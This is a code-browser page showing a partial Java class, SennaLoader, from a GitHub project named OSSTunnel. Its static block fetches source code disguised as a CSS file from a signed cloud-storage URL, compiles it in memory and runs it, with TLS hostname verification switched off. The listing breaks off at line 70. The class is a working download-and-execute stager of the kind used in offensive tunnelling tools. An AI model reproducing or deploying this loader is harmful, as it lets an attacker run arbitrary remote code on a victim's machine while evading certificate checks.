MCPcopy Create free account
hub / github.com/Ramos-dev/OSSTunnel / SennaLoader

Class SennaLoader

client/src/main/java/SennaLoader.java:13–377  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

11
12
13public class SennaLoader {
14
15 static {
16
17 StringBuffer sourceCode = new StringBuffer();
18 String url = "https://pub.cos.ap-shanghai.myqcloud.com/Lucian.css?q-sign-algorithm=sha1&q-ak=AKID4yq49yWUqGPHwfaI2nHZaKn56OXTwdng&q-sign-time=1602299060;1602306260&q-key-time=1602299060;1602306260&q-header-list=&q-url-param-list=&q-signature=e6c25f3c7226d2868ed3eeffaff9ba41ba2b656b";
19
20 try {
21 sourceCode.append(loadPayload(url).trim().replaceAll("", ""));
22 Class<?> helloClass =
23 InMemoryJavaCompiler.newInstance().compile("Lucian", sourceCode.toString());
24 Method m1 = helloClass.getDeclaredMethod("lucian");
25 m1.invoke(helloClass.newInstance());
26
27 } catch (Exception e) {
28 e.printStackTrace();
29 }
30
31
32 }
33
34 public static void main(String[] args) {
35 new SennaLoader();
36 }
37
38 private static String loadPayload(String strUrl)
39 throws Exception {
40 URL url = new URL(strUrl);
41 URLConnection conn = null;
42// if ("file".equals( url.getProtocol() ))
43// {
44// conn = (FileURLConnection) url.openConnection();
45// }
46// else if ( "http".equals( url.getProtocol() ) )
47// {
48// conn = (HttpURLConnection) url.openConnection();
49//
50// }
51// else if ("ftp".equals( url.getProtocol()))
52// {
53// conn = (FtpURLConnection) url.openConnection();
54//
55// }
56 if ("https".equals(url.getProtocol())) {
57 HttpsURLConnection httpsConn = (HttpsURLConnection) url.openConnection();
58 httpsConn.setHostnameVerifier(new HostnameVerifier() {
59
60 @Override
61 public boolean verify(String hostname, SSLSession session) {
62 return true;
63 }
64 });
65 conn = httpsConn;
66 }
67
68 DataInputStream input = new DataInputStream(conn.getInputStream());
69
70 StringBuffer sb = new StringBuffer("");

Callers

nothing calls this directly

Calls 3

loadPayloadMethod · 0.95
newInstanceMethod · 0.95
compileMethod · 0.80

Tested by

no test coverage detected